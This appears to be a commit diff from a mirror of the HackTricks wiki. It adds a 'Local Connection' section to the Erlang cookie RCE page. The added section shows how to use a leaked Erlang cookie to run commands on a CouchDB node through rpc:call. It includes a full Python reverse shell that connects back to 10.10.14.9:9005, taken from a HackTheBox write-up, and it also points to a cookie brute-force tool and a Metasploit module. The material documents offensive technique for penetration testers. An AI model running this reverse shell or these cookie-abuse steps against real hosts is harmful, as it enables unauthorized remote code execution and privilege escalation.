mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
GitBook: [master] one page modified
This commit is contained in:
parent
3c305687ca
commit
46c7892176
1 changed files with 17 additions and 0 deletions
|
@ -46,6 +46,8 @@ PORT STATE SERVICE VERSION
|
|||
|
||||
### Erlang Cookie RCE
|
||||
|
||||
#### Remote Connection
|
||||
|
||||
If you can **leak the Authentication cookie** you will be able to execute code on the host. Usually, this cookie is located in `~/.erlang.cookie` and is generated by erlang at the first start. If not modified or set manually it is a random string \[A:Z\] with a length of 20 characters.
|
||||
|
||||
```bash
|
||||
|
@ -65,6 +67,21 @@ The author also share a program to brutforce the cookie:
|
|||
|
||||
{% file src="../.gitbook/assets/epmd\_bf-0.1.tar.bz2" %}
|
||||
|
||||
#### Local Connection
|
||||
|
||||
In this case we are going to abuse CouchDB to escalate privileges locally:
|
||||
|
||||
```bash
|
||||
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
||||
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
|
||||
"homer\n"
|
||||
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
|
||||
```
|
||||
|
||||
Example taken from [https://0xdf.gitlab.io/2018/09/15/htb-canape.html\#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
|
||||
|
||||
#### Metasploit
|
||||
|
||||
```bash
|
||||
#Metasploit can also exploit this if you know the cookie
|
||||
msf5> use exploit/multi/misc/erlang_cookie_rce
|
||||
|
|
Loading…
Reference in a new issue